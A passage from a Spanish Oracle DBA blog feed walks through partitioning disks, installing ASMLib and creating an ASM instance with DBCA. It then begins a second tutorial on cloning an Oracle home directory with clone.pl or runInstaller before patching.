/dev/sda&amp;nbsp; /dev/sda1&amp;nbsp; /dev/sda2&amp;nbsp; /dev/sdb&amp;nbsp; /dev/sdc&amp;nbsp; /dev/sdd&amp;nbsp; /dev/sde&amp;nbsp; /dev/sdf&amp;nbsp; /dev/sdg&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;A partir de &lt;b&gt;/dev/sdb&lt;/b&gt; hasta &lt;b&gt;/dev/sdg&lt;/b&gt;, son los discos que asignaremos a &lt;i&gt;ASM&lt;/i&gt;, creemos entonces las particiones.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@urania ~]# fdisk /dev/sdb

Command (m for help): &lt;span style="color: red; font-weight:bold;"&gt;n&lt;/span&gt;
Command action
&amp;nbsp;&amp;nbsp; e&amp;nbsp;&amp;nbsp; extended
&amp;nbsp;&amp;nbsp; p&amp;nbsp;&amp;nbsp; primary partition (1-4)
&lt;span style="color: red; font-weight:bold;"&gt;p&lt;/span&gt;
Partition number (1-4): 1
First cylinder (1-130, default 1):
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-130, default 130):
Using default value 130

Command (m for help): &lt;span style="color: red; font-weight:bold;"&gt;w&lt;/span&gt;
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Este mismo procedimiento se aplica a los restantes &lt;b&gt;5&lt;/b&gt; discos para finalmente obtener &lt;b&gt;6&lt;/b&gt; particiones:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@urania ~]# ls /dev/sd*
/dev/sda&amp;nbsp; /dev/sda2&amp;nbsp; /dev/sdb1&amp;nbsp; /dev/sdc1&amp;nbsp; /dev/sdd1&amp;nbsp;/dev/sde1&amp;nbsp; /dev/sdf1&amp;nbsp; /dev/sdg1
/dev/sda1&amp;nbsp;/dev/sdb&amp;nbsp;&amp;nbsp; /dev/sdc&amp;nbsp;&amp;nbsp; /dev/sdd&amp;nbsp;&amp;nbsp; /dev/sde&amp;nbsp; /dev/sdf&amp;nbsp;&amp;nbsp; /dev/sdg&lt;/pre&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;2. Instalación y configuración del software ASMLib.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;Para ello debemos empezar por identificar la versión del &lt;b&gt;&lt;i&gt;kernel&lt;/i&gt;&lt;/b&gt; en uso.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@urania ~]# uname -r
2.6.18-92.el5&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Con este dato procedemos a descargar los &lt;a href="http://www.oracle.com/technology/software/tech/linux/asmlib/rhel5.html"&gt;&lt;b&gt;rpm&lt;/b&gt;&lt;/a&gt; respectivos  y los instalamos.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@urania ~]# ls
oracleasm-2.6.18-92.el5-2.0.5-1.el5.i686.rpm
oracleasm-support-2.1.2-1.el5.i386.rpm
oracleasmlib-2.0.3-1.el5.i386.rpm

[root@urania ~]# rpm -Uvh oracleasm-support-2.1.2-1.el5.i386.rpm \
&amp;gt; oracleasmlib-2.0.3-1.el5.i386.rpm \
&amp;gt; oracleasm-2.6.18-92.el5-2.0.5-1.el5.i686.rpm
Preparing...&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ########################################### [100%]
&amp;nbsp;&amp;nbsp; 1:oracleasm-support&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ########################################### [ 33%]
&amp;nbsp;&amp;nbsp; 2:oracleasm-2.6.18-92.el5########################################### [ 67%]
&amp;nbsp;&amp;nbsp; 3:oracleasmlib&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ########################################### [100%]&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Con el &lt;i&gt;software&lt;/i&gt; ya instalado es hora de &lt;b&gt;configurarlo&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@urania ~]# /etc/init.d/oracleasm configure
Configuring the Oracle ASM library driver.

This will configure the on-boot properties of the Oracle ASM library
driver.&amp;nbsp; The following questions will determine whether the driver is
loaded on boot and what permissions it will have.&amp;nbsp; The current values
will be shown in brackets ('[]').&amp;nbsp; Hitting &lt;enter&gt; without typing an
answer will keep that current value.&amp;nbsp; Ctrl-C will abort.

Default user to own the driver interface [oracle]:
Default group to own the driver interface [dba]:
Start Oracle ASM library driver on boot (y/n) [n]: &lt;span style="color: red; font-weight:bold;"&gt;y&lt;/span&gt;
Scan for Oracle ASM disks on boot (y/n) [y]:
Writing Oracle ASM library driver configuration: done
Initializing the Oracle ASMLib driver:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [&amp;nbsp; OK&amp;nbsp; ]
Scanning the system for Oracle ASMLib disks:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [&amp;nbsp; OK&amp;nbsp; ]&lt;/enter&gt;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Ahora hay que &lt;b&gt;etiquetar&lt;/b&gt; las particiones para que sean reconocidas como dispositivos habilitados para &lt;b&gt;ASM&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@urania ~]# /etc/init.d/oracleasm createdisk DISK1 /dev/sdb1
Marking disk "DISK1" as an ASM disk:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [&amp;nbsp; OK&amp;nbsp; ]&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Esto se repite para las &lt;b&gt;5&lt;/b&gt; particiones restantes para finalmente obtener:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;root@urania ~]# /etc/init.d/oracleasm listdisks
DISK1
DISK2
DISK3
DISK4
DISK5
DISK6&lt;/pre&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;3. Creación de la instancia ASM&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;Esta tarea se realiza con ayuda del utilitario &lt;b&gt;DBCA&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpSZ07hVT2TH-Kaumf5F5fCOUqsfGY3zOcl8P1l_x0uF-CrpBJ_w-89_chyOUfAbbjaeUGqh2JOYv8Zu-_8TJC6nu5wm7luv2aAwt8T4CPnbenkZFrzD4MX9qHYxDnrEfP66CeUIvhC5s8/s1600-h/asm01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpSZ07hVT2TH-Kaumf5F5fCOUqsfGY3zOcl8P1l_x0uF-CrpBJ_w-89_chyOUfAbbjaeUGqh2JOYv8Zu-_8TJC6nu5wm7luv2aAwt8T4CPnbenkZFrzD4MX9qHYxDnrEfP66CeUIvhC5s8/s400/asm01.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Se nos solicita ejecutar un &lt;b&gt;script&lt;/b&gt; para configurar e iniciar el servicio &lt;b&gt;CSS&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@urania ~]# sh /u01/app/oracle/product/11.1.0/db_2/bin/localconfig add
/etc/oracle does not exist. Creating it now.
Successfully accumulated necessary OCR keys.
Creating OCR keys for user 'root', privgrp 'root'..
Operation successful.
Configuration for local CSS has been initialized

Adding to inittab
Startup will be queued to init within 90 seconds.
Checking the status of new Oracle init process...
Expecting the CRS daemons to be up within 600 seconds.
CSS is active on these nodes.
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; urania
CSS is active on all nodes.
Oracle CSS service is installed and running under init(1M)&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Retornamos a &lt;b&gt;DBCA&lt;/b&gt; y ahora ingresamos el password para el usuario &lt;b&gt;SYS&lt;/b&gt; (de &lt;b&gt;ASM&lt;/b&gt; no de la base de datos)&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3jjh1Yxz1e7iLgFRX8UUXmISoLzslOoW5gR_1zxHWLLZ9I_o5ULROLXune_7w3q2VDLHgiwoX2-bXPMlDqIDC7quocMBoEn4BCwuarJzJ5rJMMWtElpRgURkEOaASY26xICz82AbH6fqp/s1600-h/asm02.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3jjh1Yxz1e7iLgFRX8UUXmISoLzslOoW5gR_1zxHWLLZ9I_o5ULROLXune_7w3q2VDLHgiwoX2-bXPMlDqIDC7quocMBoEn4BCwuarJzJ5rJMMWtElpRgURkEOaASY26xICz82AbH6fqp/s400/asm02.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Con este dato &lt;b&gt;DBCA&lt;/b&gt; procede a crear e iniciar la instancia &lt;b&gt;ASM&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUbBCQvyFQOLZNvDdxdkzLutECW2nj1QKwDMCRCSIZ8hJ8g1oVdnk6JRLdYUcJA42pYZcIP8UYV2ITC4YcSiMStkIm9lSWcZuEuih93XKBu1ewzmFGo0jdl9nTlxFaiSimbyYgvnLyZ_cx/s1600-h/asm03.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUbBCQvyFQOLZNvDdxdkzLutECW2nj1QKwDMCRCSIZ8hJ8g1oVdnk6JRLdYUcJA42pYZcIP8UYV2ITC4YcSiMStkIm9lSWcZuEuih93XKBu1ewzmFGo0jdl9nTlxFaiSimbyYgvnLyZ_cx/s400/asm03.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Ahora podemos crear los &lt;b&gt;&lt;i&gt;Disk Groups&lt;/i&gt;&lt;/b&gt;; en esta ocasión serán &lt;b&gt;2&lt;/b&gt; los que crearemos.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhON7ckCViZ6nPM8uDQdrnjMCiwD1-DdwOo8U-eibFPYZv4Ys5NLrcH7tbz-FO_5NAWRjqpoWCNTI5OQIdmDBmqfzy-KEl9RdEu2fEdDnHEY6lj-CLGrpFczD5HN6vFzbCWDRyLq7FF3Lc5/s1600-h/asm04.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhON7ckCViZ6nPM8uDQdrnjMCiwD1-DdwOo8U-eibFPYZv4Ys5NLrcH7tbz-FO_5NAWRjqpoWCNTI5OQIdmDBmqfzy-KEl9RdEu2fEdDnHEY6lj-CLGrpFczD5HN6vFzbCWDRyLq7FF3Lc5/s400/asm04.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Al primero lo llamaremos &lt;b&gt;DAT&lt;/b&gt;, le asignaremos &lt;b&gt;2&lt;/b&gt; discos y servirá para contener la &lt;b&gt;base de datos&lt;/b&gt;. Escogemos &lt;b&gt;&lt;i&gt;external redundancy&lt;/i&gt;&lt;/b&gt; para aprovechar &lt;b&gt;todo&lt;/b&gt; el espacio, pero estaremos sin &lt;b&gt;&lt;i&gt;mirror&lt;/i&gt;&lt;/b&gt; por lo que es algo que no deberías usar en &lt;b&gt;Producción&lt;/b&gt;, salvo el &lt;i&gt;mirror&lt;/i&gt; lo estés manejando a nivel del &lt;b&gt;arreglo de discos&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7MObBofJxQXQuVSq1BNST4mgBcSdn5pODUyabhUkgpZ01rtU-Axd_x_FJa-rNltt82Yqsgp_73W3XC3QDfFwz650NFeQz_MjwR5vjZoMXw0vbbs_ZvxiE-8qyD1DIDnuBTrIzkseGqOVd/s1600-h/asm05.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7MObBofJxQXQuVSq1BNST4mgBcSdn5pODUyabhUkgpZ01rtU-Axd_x_FJa-rNltt82Yqsgp_73W3XC3QDfFwz650NFeQz_MjwR5vjZoMXw0vbbs_ZvxiE-8qyD1DIDnuBTrIzkseGqOVd/s400/asm05.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Al segundo lo llamaremos &lt;b&gt;FRA&lt;/b&gt;, le asignaremos los &lt;b&gt;4&lt;/b&gt; discos restantes y servirá para contener el &lt;b&gt;&lt;i&gt;Flash Recovery Area&lt;/i&gt;&lt;/b&gt;, nuevamente escogemos &lt;b&gt;&lt;i&gt;external redundancy&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGVYb0_tGevxjCfxnngM7_e6rZSACwmmIRTuiPgtbxSLoRV-pV4mF298qj7W3XTZhlCJlY-wSCzuJPe7xQrbDafmlgqKg3x5rHigWyPlWQUmQW4ynkg7c1mh6_IHc42edtqghgmgVEV6C8/s1600-h/asm06.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGVYb0_tGevxjCfxnngM7_e6rZSACwmmIRTuiPgtbxSLoRV-pV4mF298qj7W3XTZhlCJlY-wSCzuJPe7xQrbDafmlgqKg3x5rHigWyPlWQUmQW4ynkg7c1mh6_IHc42edtqghgmgVEV6C8/s400/asm06.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLjwkAmDqLRNhJTWoavUvWFkKANRKtitK2LNDYy2K6WztnEUXxzTLwzXLtpLKZGJGmVz3J5VgU_2VIvtft0sk92TLd8RVwDNdyWdxkFlkcv3bbkG6krXElFYTRJiYYzSLYlMukqI_COwjA/s1600-h/asm07.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLjwkAmDqLRNhJTWoavUvWFkKANRKtitK2LNDYy2K6WztnEUXxzTLwzXLtpLKZGJGmVz3J5VgU_2VIvtft0sk92TLd8RVwDNdyWdxkFlkcv3bbkG6krXElFYTRJiYYzSLYlMukqI_COwjA/s400/asm07.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Para culminar presionamos el botón &lt;b&gt;[Finish]&lt;/b&gt; y ¡listo!, hemos &lt;b&gt;terminado&lt;/b&gt; con esta &lt;b&gt;primera parte&lt;/b&gt;, ya tenemos una instancia &lt;b&gt;ASM&lt;/b&gt; plenamente operativa y lista para albergar nuestra &lt;b&gt;base de datos&lt;/b&gt;, pero como les adelantara, eso lo veremos en un &lt;a href="http://blog.e-dba.biz/2009/03/asm-series-migrating-db.html"&gt;siguiente Post&lt;/a&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/03/asm-series-migrating-db.html"&gt;Trasladando la Base de Datos hacia ASM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/03/asm-series-migrating-db-using-oem.html"&gt;Migrando la base de datos a ASM, la forma fácil&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/04/asm-series-upgrade-register-oem.html"&gt;Actualizando ASM y registrándolo en OEM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/11/filesystemiooptions-asynch-directio.html"&gt;¿Cómo acelerar el acceso a los file systems?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2009/02/asm-series-installation-asmlib.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpSZ07hVT2TH-Kaumf5F5fCOUqsfGY3zOcl8P1l_x0uF-CrpBJ_w-89_chyOUfAbbjaeUGqh2JOYv8Zu-_8TJC6nu5wm7luv2aAwt8T4CPnbenkZFrzD4MX9qHYxDnrEfP66CeUIvhC5s8/s72-c/asm01.jpg" width="72"/><thr:total>17</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-7892453754003557797</guid><pubDate>Mon, 02 Feb 2009 21:08:00 +0000</pubDate><atom:updated>2009-09-02T11:21:22.293-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">patching</category><title>De cómo un clon nos puede ayudar con un patch</title><description>&lt;div&gt;Si vamos a aplicar un &lt;b&gt;&lt;i&gt;patch&lt;/i&gt;&lt;/b&gt; o un &lt;b&gt;&lt;i&gt;patch set&lt;/i&gt;&lt;/b&gt;, una de las tareas previas es detener todos los procesos que estén ejecutándose en el &lt;b&gt;&lt;i&gt;Oracle home directory&lt;/i&gt;&lt;/b&gt; involucrado. Esto implica que debemos dejar de prestar servicio para iniciar el &lt;b&gt;&lt;i&gt;patching&lt;/b&gt;&lt;/i&gt;, proceso que si bien es relativamente fácil y sencillo, está sujeto a eventuales fallas que, de ocurrir, pueden llevar a una situación de crisis en la cual el &lt;b&gt;DBA&lt;/b&gt; debe identificar el problema y tratar de resolverlo, u optar por dar marcha atrás.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Para evitar pasar por una situación como ésta, es una buena práctica proceder al &lt;i&gt;patching&lt;/i&gt; sobre un &lt;i&gt;Oracle home directory&lt;/i&gt; nuevo, uno que sea un "&lt;b&gt;Clon&lt;/b&gt;" del que está en producción, y así no tener que suspender el servicio sino hasta que estemos seguros que la primera parte del &lt;i&gt;patching&lt;/i&gt; se ha logrado de forma satisfactoria. A continuación veremos cómo en &lt;b&gt;sólo 3 pasos&lt;/b&gt;, podemos tener en pocos minutos un &lt;b&gt;Clon&lt;/b&gt; completamente soportado y listo para ser objeto del &lt;i&gt;patching&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Clonación al estilo Oracle&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Antes de iniciar la &lt;b&gt;clonación&lt;/b&gt;, tomemos en cuenta las siguientes suposiciones iniciales:&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Oracle home directory &lt;b&gt;original&lt;/b&gt;: /u01/app/oracle/product/10.2.0/db_1&lt;/li&gt;
&lt;li&gt;Oracle home directory &lt;b&gt;clonado&lt;/b&gt;: /u01/app/oracle/product/10.2.0/db_2&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;1.&lt;/span&gt; Copiar el software desde el &lt;i&gt;Oracle home directory&lt;/i&gt; &lt;b&gt;original&lt;/b&gt; hacia el &lt;b&gt;clonado&lt;/b&gt;.&lt;/div&gt;&lt;div&gt;Esto se debe hacer como el usuario &lt;b&gt;root&lt;/b&gt; para que los permisos no se pierdan durante el proceso.&lt;/div&gt;&lt;pre class="codigo"&gt;[root@urania ~]#&amp;nbsp;cp -Rp /u01/app/oracle/product/10.2.0/db_1 /u01/app/oracle/product/10.2.0/db_2&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Si la clonación se realizará en otro servidor, puedes usar &lt;b&gt;tar&lt;/b&gt; para generar un archivo con los contenidos del &lt;i&gt;Oracle home directory&lt;/i&gt; &lt;b&gt;original&lt;/b&gt;:&lt;/div&gt;&lt;pre class="codigo"&gt;[root@urania ~]# cd /u01/app/oracle/product/10.2.0/db_1
[root@urania db_1]#&amp;nbsp;tar -cvf /stage/10gR2.tar .&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Luego transfieres el archivo generado (con &lt;b&gt;ftp&lt;/b&gt; por ejemplo) y una vez esté disponible en el nuevo servidor lo reconstituyes:&lt;/div&gt;&lt;pre class="codigo"&gt;[root@caliope ~]# cd /u01/app/oracle/product/10.2.0/db_1
[root@caliope db_1]#&amp;nbsp;tar -xvf /stage/10gR2.tar&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;2.&lt;/span&gt; Clonar la instalación con &lt;b&gt;&lt;i&gt;Oracle Universal Installer&lt;/i&gt;&lt;/b&gt; (&lt;b&gt;OUI&lt;/b&gt;).&lt;/div&gt;&lt;div&gt;Esta parte se hace con el usuario &lt;b&gt;oracle&lt;/b&gt;. Existen 2 formas de hacerlo, ambas producen el mismo resultado:&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;a.&lt;/span&gt; Usando &lt;b&gt;&lt;i&gt;clone.pl&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;[oracle@urania ~]$ cd /u01/app/oracle/product/10.2.0/db_2/clone/bin
[oracle@urania bin]$ perl clone.pl ORACLE_HOME="/u01/app/oracle/product/10.2.0/db_2" ORACLE_HOME_NAME="OraDb10g_home2"

Properties file /config/cs.properties was not found. Failed loading correponding properties../runInstaller -silent -clone -waitForCompletion "ORACLE_HOME=/u01/app/oracle/product/10.2.0/db_2" "ORACLE_HOME_NAME=OraDb10g_home2"
Starting Oracle Universal Installer...

No pre-requisite checks found in oraparam.ini, no system pre-requisite checks will be executed.
Preparing to launch Oracle Universal Installer from /tmp/OraInstall2009-01-31_02-14-44PM. Please wait ...Oracle Universal Installer, Version 10.2.0.1.0 Production
Copyright (C) 1999, 2005, Oracle. All rights reserved.

You can find a log of this install session at:
&amp;nbsp;/u01/app/oracle/oraInventory/logs/cloneActions2009-01-31_02-14-44PM.log
............................................................... 100% Done.

Installation in progress (Sat Jan 31 14:15:07 PET 2009)
.........................................................................
Install successful

Linking in progress (Sat Jan 31 14:15:20 PET 2009)
. &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;74% Done.
Link successful

Setup in progress (Sat Jan 31 14:17:14 PET 2009)
.................... &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;100% Done.
Setup successful

End of install phases.(Sat Jan 31 14:17:21 PET 2009)
WARNING:The following configuration scripts
/u01/app/oracle/product/10.2.0/db_2/root.sh
need to be executed as root for configuring the system.

The cloning of OraDb10g_home2 was successful.
Please check '/u01/app/oracle/oraInventory/logs/cloneActions2009-01-31_02-14-44PM.log' for more details.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;b.&lt;/span&gt; Usando &lt;b&gt;&lt;i&gt;runInstaller&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;pre class="codigo"&gt;[oracle@urania ~]$ cd /u01/app/oracle/product/10.2.0/db_2/oui/bin
[oracle@urania bin]$ ./runInstaller -clone -silent -ignorePreReq ORACLE_HOME="/u01/app/oracle/product/10.2.0/db_2" ORACLE_HOME_NAME="OraDb10g_home2"

Starting Oracle Universal Installer...

No pre-requisite checks found in oraparam.ini, no system pre-requisite checks will be executed.
Preparing to launch Oracle Universal Installer from /tmp/OraInstall2009-01-31_04-10-24PM. Please wait ...Oracle Universal Installer, Version 10.2.0.1.0 Production
Copyright (C) 1999, 2005, Oracle. All rights reserved.

You can find a log of this install session at:
&amp;nbsp;/u01/app/oracle/oraInventory/logs/cloneActions2009-01-31_04-10-24PM.log
............................................................... 100% Done.

Installation in progress (Sat Jan 31 16:10:49 PET 2009)
.........................................................................
Install successful

Linking in progress (Sat Jan 31 16:11:03 PET 2009)
. &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;74% Done.
Link successful

Setup in progress (Sat Jan 31 16:13:03 PET 2009)
.................... &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;100% Done.
Setup successful

End of install phases.(Sat Jan 31 16:13:08 PET 2009)
WARNING:The following configuration scripts
/u01/app/oracle/product/10.2.0/db_2/root.sh
need to be executed as root for configuring the system.

The cloning of OraDb10g_home2 was successful.
Please check '/u01/app/oracle/oraInventory/logs/cloneActions2009-01-31_04-10-24PM.log' for more details.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Si estamos clonando un &lt;i&gt;Oracle home directory&lt;/i&gt; en &lt;b&gt;11g&lt;/b&gt; debemos tener en cuenta que es requerido indicar también &lt;b&gt;&lt;i&gt;ORACLE_BASE&lt;/i&gt;&lt;/b&gt;:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ cd /u01/app/oracle/product/10.2.0/db_2/clone/bin
[oracle@urania bin]$ perl clone.pl &lt;span style="color: red;"&gt;ORACLE_BASE="/u01/app/oracle"&lt;/span&gt; ORACLE_HOME="/u01/app/oracle/product/10.2.0/db_2" ORACLE_HOME_NAME="OraDb10g_home2"&lt;/pre&gt;&lt;br /&gt;
